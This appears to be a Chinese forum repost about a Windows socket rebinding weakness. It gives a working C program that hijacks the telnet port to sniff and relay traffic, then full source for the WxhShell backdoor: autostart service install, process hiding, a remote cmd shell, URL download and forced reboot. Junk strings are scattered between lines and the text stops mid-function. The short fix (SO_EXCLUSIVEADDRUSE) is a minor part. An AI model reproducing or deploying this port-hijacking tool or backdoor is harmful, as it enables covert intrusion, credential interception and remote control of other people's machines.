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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DM{ 4@*] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wN=;i# ik.A1j9oN saddr.sin_family = AF_INET; vLT0ETHg6 iW%8/$ saddr.sin_addr.s_addr = htonl(INADDR_ANY); V}WB*bE Kibr ]w bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Hfym30 F$V/K&&W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !do?~$Og + B}0=Ex$t 这意味着什么?意味着可以进行如下的攻击: #%lo;W~IY YA:nOvd@O 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !bnyJA O|kOI?f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9?<{_' aUU7{o_Z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fCWGAO2 )h{ ]k= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 QDx$==Fo )e|=mtp 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q~{H@D`< =u[k1s? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Wb}c=hZv yQNV@T<o 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P"/G IZ/m4~ #include k,yZ[n|` #include 5=|hC3h #include j|4C\~i #include E>|: D DWORD WINAPI ClientThread(LPVOID lpParam); Ho;X4lo[j int main() yQ,{p@#X8 { V[o`\|< WORD wVersionRequested; c0&Rg# DWORD ret; 9iUr nG* WSADATA wsaData; "VG+1r+]4 BOOL val; %Dg0fL SOCKADDR_IN saddr; @Fp_^5 SOCKADDR_IN scaddr; }7E^ZZ]f int err; G` XC SOCKET s; o1cErI&q" SOCKET sc; phnV7D(E int caddsize; VHJM*&5 HANDLE mt; -h|B1*mt DWORD tid; 5,-U.B} wVersionRequested = MAKEWORD( 2, 2 ); },+wJ1 err = WSAStartup( wVersionRequested, &wsaData ); l
vMlL5t if ( err != 0 ) { hCjR&ZA printf("error!WSAStartup failed!\n"); ^.dsW0"0 return -1; &|3
$!S } scLn= saddr.sin_family = AF_INET; fC,:{} ojvj}ln //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '(bgs I M-L'9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (3J$>Na saddr.sin_port = htons(23); ydRC1~f0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nD5 gP { Qham^ printf("error!socket failed!\n"); tg]x0#@s return -1; 26&'X+n& } l&iq5}[n& val = TRUE; s7Ub@ //SO_REUSEADDR选项就是可以实现端口重绑定的 n8*;lK8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "j;4
k.`h { h3LE>}6D printf("error!setsockopt failed!\n"); /x_o!<M return -1; <:SZAAoIV } ={K`4BD //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'Vyt4^$% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1%4sHSN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I!e} )Y =jB08A if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [<DZ*|+ { At7>V-f} ret=GetLastError(); &l3iV88 printf("error!bind failed!\n"); UfN&v >8f return -1; KMI_zhyB } z!l.:F listen(s,2); .pvi!NnL- while(1) &?mD$Eo { Tyvtmx M caddsize = sizeof(scaddr); ,lZB96r0 //接受连接请求 ,Ax dCT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QUu}Xg: if(sc!=INVALID_SOCKET) ]]Cb$$Td { GB$;n? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &f^, la if(mt==NULL) =-IbS}3 { #Q2Y&2`yGT printf("Thread Creat Failed!\n"); Y.g59X!Ub2 break; J]nohICe } U2bjFLd" } cWoPB
_ CloseHandle(mt); %Ev4]}2C1 } tmQH|'>> closesocket(s); 0NS<?p~_S WSACleanup(); /YZr~|65 return 0; c-B
cA } ^$b Y,CE DWORD WINAPI ClientThread(LPVOID lpParam) WZ.@UN, { o4|M0 SOCKET ss = (SOCKET)lpParam; !o:f$6EA~C SOCKET sc; SQX:7YF~ unsigned char buf[4096]; RhncBKm*M SOCKADDR_IN saddr; Ney/[3 A long num; 8C*c{(4 DWORD val; SHe49!RA'{ DWORD ret; ^s|6vd;PD= //如果是隐藏端口应用的话,可以在此处加一些判断 S:h{2{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 xai*CY@cQ saddr.sin_family = AF_INET; _f$^%?^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :Zlwp6 saddr.sin_port = htons(23); ;M)QwF1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z6*X%6,8 { N@t|7~ printf("error!socket failed!\n"); FoN|i"*l return -1; ;lHr =e7 } R}O_[ val = 100; $<}$DH_Y if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HMSO=)@+ { Qk:Y2mL ret = GetLastError(); 8fl`r~bqZ return -1; ZrsBm_Rx } gt@m?w( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MF5[lK9e { wB.&}p9p ret = GetLastError(); |5lk9<z return -1; be.*#[ } P)P*Xqr#: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s.$3j$vT 8 { <g$~1fa printf("error!socket connect failed!\n"); U|jSa,} closesocket(sc); 4 o Fel.o closesocket(ss); %nf6%@s return -1; 1`=nWy=' } k$blEa4 while(1) Ff)8Q.m { i<#QW'R ( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .%xn&3 //如果是嗅探内容的话,可以再此处进行内容分析和记录 8WXQOo8 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MN\HDKN num = recv(ss,buf,4096,0); >T^;MS if(num>0) jIJ~QpNE send(sc,buf,num,0); t'n pG}`tE else if(num==0) 2LF/H$]o5 break; A^USBv+9` num = recv(sc,buf,4096,0); JMC. w! if(num>0) fp`;U_-&0 send(ss,buf,num,0); ;ub;lh 3 else if(num==0) V<GHpFi0 break; X
$jWo@ } ZOh`(})hy closesocket(ss); b,7k)ND1F closesocket(sc); EJMM9(DQ7 return 0 ; ,o86}6Ag } B38]~'8 l9{hq/V GeH#I5y ========================================================== z&zP)>Pv 9jM}~XvV 下边附上一个代码,,WXhSHELL H\ F:95 Lt64JH^lz ========================================================== <:+ x+4ru 0X6YdW _2X #include "stdafx.h" +^60T$ geru=7 #include <stdio.h> LBYMCY #include <string.h> m*&]!mM"0G #include <windows.h> o#3ly-ht #include <winsock2.h> ; ZA~p #include <winsvc.h> d,k!qjf=r #include <urlmon.h>
&u$Q4 E(>=rD /+ #pragma comment (lib, "Ws2_32.lib") 75T%g!c# #pragma comment (lib, "urlmon.lib") (7wc *#} 5_GYrR2 #define MAX_USER 100 // 最大客户端连接数 M\uiq38 #define BUF_SOCK 200 // sock buffer +%<(E #define KEY_BUFF 255 // 输入 buffer W+I!q:p4H <cps2*' #define REBOOT 0 // 重启 em%4Ap #define SHUTDOWN 1 // 关机 we;-~A5J n]._uza #define DEF_PORT 5000 // 监听端口 xQ7l~O
b fDv2JdiU #define REG_LEN 16 // 注册表键长度 Ia SR;/ #define SVC_LEN 80 // NT服务名长度 <FV1Wz G#ZH.24Y // 从dll定义API \V;F/Zy( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8W*%aOi5+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =W(Q34 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
dm\F typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I9|mG' W!Gq.M
// wxhshell配置信息 8'HEms struct WSCFG { o_izl\ int ws_port; // 监听端口 XWBA^|-N char ws_passstr[REG_LEN]; // 口令 Vh|*p& int ws_autoins; // 安装标记, 1=yes 0=no ^UP`%egR char ws_regname[REG_LEN]; // 注册表键名 *7uH-u"5d char ws_svcname[REG_LEN]; // 服务名 P78g/p T char ws_svcdisp[SVC_LEN]; // 服务显示名 @ a! #G char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dj"F\j 1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wf+cDpK int ws_downexe; // 下载执行标记, 1=yes 0=no $0W|26; char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" g2+2%6m0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n1Yp1"2b[ h79}qU }; Ouk^O}W6 y8]B:_iU9 // default Wxhshell configuration Kg{+T` struct WSCFG wscfg={DEF_PORT, is?{MJZ_ "xuhuanlingzhe", pC#E_*49 1, w'>p Y "Wxhshell", R$R *'l "Wxhshell", !z\h|wU+ "WxhShell Service", \1k79 c "Wrsky Windows CmdShell Service", HY56"LZ$(} "Please Input Your Password: ", zYH&i6nj 1, sA+ }TNhq " http://www.wrsky.com/wxhshell.exe", /:cd\A} "Wxhshell.exe" g@d*\ P) }; {i;r M H|Og84 // 消息定义模块 #|uCgdi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )HEa<P^kJl char *msg_ws_prompt="\n\r? for help\n\r#>"; [:7'?$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; #]\Uk,mhZB char *msg_ws_ext="\n\rExit."; ^
gdaa>L char *msg_ws_end="\n\rQuit."; )*u8/U char *msg_ws_boot="\n\rReboot..."; tj' \tW+s' char *msg_ws_poff="\n\rShutdown..."; on4HKeO char *msg_ws_down="\n\rSave to "; iDpSj!x/_ mVj9 ,q0 char *msg_ws_err="\n\rErr!"; bL0yuAwF2 char *msg_ws_ok="\n\rOK!"; xVw9v6@`h 2R[:]-b char ExeFile[MAX_PATH]; sU=H&D99 int nUser = 0; K%t*8
4j HANDLE handles[MAX_USER]; Kew@&j~ int OsIsNt; y\/1/WjBn ))qy;Q, SERVICE_STATUS serviceStatus; x`mG<Yt SERVICE_STATUS_HANDLE hServiceStatusHandle; x'8x
p'Y^X // 函数声明 })'B<vq int Install(void); 'lH|eU&- int Uninstall(void); Ugr!"Q#M int DownloadFile(char *sURL, SOCKET wsh); %aP!hy int Boot(int flag); 0-B5`=yU void HideProc(void); XgZD%7 int GetOsVer(void); A[B<~ int Wxhshell(SOCKET wsl); &5>Kl}7 void TalkWithClient(void *cs); jVEGj5F;N int CmdShell(SOCKET sock); 0Fq}
N int StartFromService(void); T~-ycVc int StartWxhshell(LPSTR lpCmdLine); ,<.V7(|t) P?%s
#I: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D ;RiGW4 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9[#pIPxNK |NlO7aQ>2H // 数据结构和表定义 ~?l |
[ SERVICE_TABLE_ENTRY DispatchTable[] = ~$ c\JKH- { \UA[ {wscfg.ws_svcname, NTServiceMain}, (|2t#'m {NULL, NULL} C2!|OQ9A2 }; t^&Cxh aHD]k8m z // 自我安装 pd?Mf=># int Install(void) <]ox;-56 { ldf\;Qk char svExeFile[MAX_PATH]; [DuttFX^x HKEY key; :'Vf
g[Uq strcpy(svExeFile,ExeFile); BT !^~S%w TP*hd // 如果是win9x系统,修改注册表设为自启动 YqscZ(L:y if(!OsIsNt) { 7P} W
* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9i:L&dN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a,,ex i RegCloseKey(key); H8=N@l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IW5,7. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yWmJ~/*lG RegCloseKey(key); e[1hz_v return 0; "69s)~ } =F|{#F } KS+'|q<?w } /WcG{Wdp else { !t"4!3 Z{*\S0^ST // 如果是NT以上系统,安装为系统服务 #<fRE"v:Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p%ki>p )E| if (schSCManager!=0) &$+AXzn { g>%o #P7 SC_HANDLE schService = CreateService 8]c2r%J ( n9\TO9N schSCManager, G/E+L-N#` wscfg.ws_svcname, KYm0@O>; wscfg.ws_svcdisp, &C_j\7Dq SERVICE_ALL_ACCESS, $c!p& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m!!/Za SERVICE_AUTO_START, X0HZH?V+ SERVICE_ERROR_NORMAL, g&L!1<,
p svExeFile, 70?\ugxA NULL, -_g0C^:<, NULL, ^^sE: NULL, qZdQD NULL, M/f<A$xx_ NULL #~]zhHI ); H*n-_{h"t if (schService!=0) C[cbbp { >>r(/81S CloseServiceHandle(schService); yX>K/68 CloseServiceHandle(schSCManager); u,ho7ht3( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WCZjXDiwJ strcat(svExeFile,wscfg.ws_svcname); :U|1 xgB if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B`)BZ,#p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |d2SIyUc RegCloseKey(key); dFxIF;C>/ return 0; DeVv4D:}@ } /8'NG6"H` } K8|r&`X0 CloseServiceHandle(schSCManager); q>_.[+6 } XSB"{H>& } 6_o*y8s. 5vQHhwO50k return 1; s[>,X#7 y } mthA4sz P;.W+WN // 自我卸载 <d Wv?<o int Uninstall(void) +HpA:]#Y { tU5zF.% HKEY key; #lo6c;*m5 KfEx"94 if(!OsIsNt) { 0],r0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NG=-NxEcN RegDeleteValue(key,wscfg.ws_regname); :`#d:.@]o@ RegCloseKey(key); QO:!p5^: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /{J4:N'B> RegDeleteValue(key,wscfg.ws_regname); rBzuKQK}J RegCloseKey(key); rgQOj^xKv^ return 0; ,2oWWsC7 } C3f' {} } ! I:%0D } Tk[ $5u*, else { p$c6<'UqH e)k9dOR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bH nT6Icom if (schSCManager!=0) nc29j_Id { e2Pcm_Ahv* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q9K)Xk$LF if (schService!=0) qBQ?HLK- { G$"h&Xy1c if(DeleteService(schService)!=0) { ?4} h&/ CloseServiceHandle(schService); xIW3={b 3 CloseServiceHandle(schSCManager); wU36sCo return 0; ~vhE|f } Q$W CloseServiceHandle(schService); O:R*rJ } ,8uqdk-D CloseServiceHandle(schSCManager); s\(k<Ks } |^I0dR/w: } gs[uD5oo< %wg-=;d4 return 1; 7F7{)L } J4C.+![!Ah W(Fv
l // 从指定url下载文件 ^)S;xb9 int DownloadFile(char *sURL, SOCKET wsh) Rok7n1gW { UgSB>V<? HRESULT hr; O63<AY@ char seps[]= "/"; 2wg5#i char *token; |A~jsz6pI char *file; I_#kgp char myURL[MAX_PATH]; ua$GNm char myFILE[MAX_PATH]; e]"W!KcD9 Fyx|z'4b strcpy(myURL,sURL); {4}yKjW%z token=strtok(myURL,seps); pj{`';
:g while(token!=NULL) XEp{VC@= { ]cWUZ{puRB file=token; U$.@]F4& token=strtok(NULL,seps); oulVg]; } gCS<iBT(7 DJ k/{Z: GetCurrentDirectory(MAX_PATH,myFILE); P )"m0Lu< strcat(myFILE, "\\"); 2;`1h[,-^ strcat(myFILE, file); #Y`~(K47 send(wsh,myFILE,strlen(myFILE),0); [ ({nj` send(wsh,"...",3,0); %N6A+5H hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2#]#sZmk if(hr==S_OK) ~$cV:O7 return 0; Lx1FpHo else <c-=3}=U\ return 1; %@aSe2B "Yv_B3p } .V/Rfq ::lKL // 系统电源模块 wu!59pL int Boot(int flag) a2O75 kWnm { zT.7 HANDLE hToken; NO>w+-dGS TOKEN_PRIVILEGES tkp; orpri O|qD (0r3/t?DQ if(OsIsNt) { L.2^`mZs OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZohCP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _ QI\ tkp.PrivilegeCount = 1; z+wA
rPxc tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G@\1E+Ip AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &j`} vg if(flag==REBOOT) { ".V$~n( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k68T`Ub\W6 return 0; 'Cfl*iNb } Wx}8T[A} else { %#:{UR)E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yCR?UH; return 0; WIT>!|w_ } @Zu5Vp J } ,j{,h_Op else { ) 1f~ dR88 if(flag==REBOOT) { Q#X8u-~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Dlae;5D return 0; AaOuL,l } F?*-4I- else { ,/%=sux if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |Q6.29 9 return 0; *8Xh(`
Mj7 } ~O0 $Suv } y/{fX(aV wC+u73599 return 1; *[Tz![| } nI-w}NQ H3^},. // win9x进程隐藏模块 n8
i] z void HideProc(void) , , OW { KIf dafRL gMmaK0uhS HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kk@fL if ( hKernel != NULL ) x b~yM%*c { cWsNr'MS* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5h-SCB>P ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Tod&&T'UW FreeLibrary(hKernel); O)*+="Rg } O!#g<`r{K uAJx.>$b return; NZLxHD]mp } I<mV+ex :D6
ON"6 // 获取操作系统版本 m)t;9J5 int GetOsVer(void) 2j88<Yh]H { rk2j#>l$4 OSVERSIONINFO winfo; 2g-j.TM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z6=Z\P+ GetVersionEx(&winfo); Oi'5ytsES if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _[c0)2h return 1; =JEv,ZGT3 else 6:[dj*KGmT return 0; VU(v3^1" } EF[@$j
{_[N<U:QT& // 客户端句柄模块 'Ym9;~(@R int Wxhshell(SOCKET wsl) vXf!G`D { feDlH[$ SOCKET wsh; t7Iv?5]N struct sockaddr_in client; HZC"nb}r4 DWORD myID; v6bGjVK[ uK"=i8rs4 while(nUser<MAX_USER) w!-gJmX> { ghG**3xr int nSize=sizeof(client); {j?FNOJn wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *SDs;kg if(wsh==INVALID_SOCKET) return 1; N1}sHyVq7 .+3g*Dv{& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yy^q2P if(handles[nUser]==0) '4+
ur` closesocket(wsh); -hGk?_Nqa/ else :Uzm
nUser++; M#4pE_G } 30#s aGV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /tx]5`#@7] (&F}/s gbi return 0; XH 4 } %+W{iu[| |^"1{7) // 关闭 socket |P
HT694Uz void CloseIt(SOCKET wsh) f;o5=)Y { eCU:Q closesocket(wsh); "Y
=;.:qe nUser--; .PIL
+x*]N ExitThread(0); BDW^7[n } +s,=lL |}s*E_/[ // 客户端请求句柄 'j8:vq^d void TalkWithClient(void *cs) u^+7hkk { DZ'P@f)] {0Yf]FQb-a SOCKET wsh=(SOCKET)cs; r;.y z I char pwd[SVC_LEN]; *SbMqASv4G char cmd[KEY_BUFF]; Z*]9E^ char chr[1]; vAF
"n int i,j; ,F8 Yn5h K( c\wr\6 while (nUser < MAX_USER) { ,i?nWlh+ Fx_z 6a if(wscfg.ws_passstr) { r"3=44St if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pe_W;q. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wtQ++l%{G //ZeroMemory(pwd,KEY_BUFF); \R9(x]nZ% i=0; shy-Gu& while(i<SVC_LEN) { v!-/&}W)1 36&e.3/# // 设置超时 1Ti f{i,B fd_set FdRead; F3[T.sf struct timeval TimeOut; ^+>laOzC`8 FD_ZERO(&FdRead); hc(#{]]. FD_SET(wsh,&FdRead); KEo,m TimeOut.tv_sec=8; ios&n)W& TimeOut.tv_usec=0; WtsFz*`)y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *MFIV02[N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7?!d^$B ~]IOK$1F% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 93)sk/j pwd =chr[0]; 5K1)1E/Fu if(chr[0]==0xd || chr[0]==0xa) { bivuqKA pwd=0; .,|G7DGH] break; :\`o8` } }#RakV4 i++; av8B-GQI*# } Hh3X
\ A7Cm5>Y_S // 如果是非法用户,关闭 socket kYP#SH/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $t'MSlF } y4
#>X "rALt~AX send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); })H wh). send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D
:4[~A 1APe=tJ while(1) { aB2FC$z GE:vp>>}` ZeroMemory(cmd,KEY_BUFF); ~f&E7su-6+ +/4A // 自动支持客户端 telnet标准 V# }!-Xj j=0; }1L4"}L. while(j<KEY_BUFF) { e }?db if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *k7+/bU~~ cmd[j]=chr[0]; +5g_KS if(chr[0]==0xa || chr[0]==0xd) { a_^\=&?' cmd[j]=0; xC?6v' break; ]Grek< } :".ARCg j++; ]`!>6/[ } ,a{P4Bq ;IvY^(YS@; // 下载文件 8rAg\H3E if(strstr(cmd,"http://")) { ?8H8O %Z8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); G/y5H;<9M if(DownloadFile(cmd,wsh)) ]!W=^! send(wsh,msg_ws_err,strlen(msg_ws_err),0); A_"w^E{P else U|H=Y"pL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6##_%PO<m } ;0]aq0_#( else { xk9%F?) IEL%!RFG switch(cmd[0]) { 6fE7W>la [t m_Mg // 帮助 XFVE>/H case '?': { fh&nu"& send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y;m| break;
i<C*j4qQ } UP$.+<vm // 安装 w8")w*9Lmg case 'i': { 9d0@wq. if(Install()) =g7x'
kN send(wsh,msg_ws_err,strlen(msg_ws_err),0); nSDMOyj+ else zH 72'"w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m+`cS=-. break; nI?[rCM } ~TF: .8 // 卸载 ^2:p|:Bz!l case 'r': { Pa>AWOG' if(Uninstall()) h"B+hu send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6%\J"AgXO else \Gef \ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y,qI@n< break; hk;5w{t}} } v4a8}G // 显示 wxhshell 所在路径 +qN>.y!Y case 'p': { r5S[-`s; char svExeFile[MAX_PATH]; '0;l]/i. strcpy(svExeFile,"\n\r"); ^ox=HNV strcat(svExeFile,ExeFile); j.[.1G*(" send(wsh,svExeFile,strlen(svExeFile),0); zF`0J break; F>Ah0U0 } LRxZcxmy // 重启 MVpGWTH@F case 'b': { ~p6 V,Q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EgEa1l!NSQ if(Boot(REBOOT)) dM.f]-g send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( ' (K9@} else { B B{$&Oh closesocket(wsh); ]6,\r" ExitThread(0); O0x,lq } mX"oW_EK break; 4!{KWL`A } RXMISt3+{y // 关机 /aCc17>2V{ case 'd': { df8k7D;~e send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l ~"^7H?4e if(Boot(SHUTDOWN)) @-07F,'W, send(wsh,msg_ws_err,strlen(msg_ws_err),0); nAAs{ else { ;$, U~ 0 closesocket(wsh); soB,j3#p'* ExitThread(0); n-2]M05O } >a<.mU|# break; b}$+H/V } oi7@s0@ // 获取shell E:_ZA case 's': { nt;m+by CmdShell(wsh); 3@_xBz,I . closesocket(wsh); 0(}t8lc ExitThread(0); f].h^~.q break; PA{PD.4Du } dw>C@c#" // 退出 R{`(c/%8 case 'x': { 6?gW-1mY send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q4h]o^ + CloseIt(wsh); x3=A:}t8 break; <18( } #b}Z`u?@ // 离开 _IHV7*u{; case 'q': { :1Xz4wkWS* send(wsh,msg_ws_end,strlen(msg_ws_end),0); aH(J,XY closesocket(wsh); ,Q$q=E;X WSACleanup(); GTPHVp&y exit(1); F@7jx:tI break; bn&TF3b } "m$##X\ }
IZ-1c1
} w>&aEv/f !<8W
{LT // 提示信息 ' ,wFTV& if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yNJ B
oar } gnf8l?M } [ZwjOi:) wc@X.Q[ return; e`_LEv } &ee~p&S,> hp50J // shell模块句柄 e(;,`L\* int CmdShell(SOCKET sock) z]y.W`i { ~8Fk(E_ STARTUPINFO si; =!A_^;NQf ZeroMemory(&si,sizeof(si)); %g$o/A$ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \ A#41
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q~]uC2Mw PROCESS_INFORMATION ProcessInfo; F`W?II? char cmdline[]="cmd"; c9
eM/*: CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Oc0a77@ return 0; U[-o> W# } i v38p%Zm :uS\3toj // 自身启动模式 =U9*'EFr int StartFromService(void) /)>3Nq4Zx { Ms#M+[a typedef struct "Qc7dRmSxm { 1~_{$5[X? DWORD ExitStatus; #$07:UJ DWORD PebBaseAddress; Hyl%mJ DWORD AffinityMask; '3tCH)s DWORD BasePriority; Xza(k ULONG UniqueProcessId; /& {A!.; ULONG InheritedFromUniqueProcessId; 1<@W6@] } PROCESS_BASIC_INFORMATION; *I.f1lz%* ORw,)l PROCNTQSIP NtQueryInformationProcess; S!CC
}3zw WIxy}3_to static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qS$Ox?Bw#u static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :J@gmY:C V! A~K
HANDLE hProcess; `5.'_3 PROCESS_BASIC_INFORMATION pbi; prF%.(G2) =z69e%. HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `p-cSxR_ if(NULL == hInst ) return 0; %)W2H^
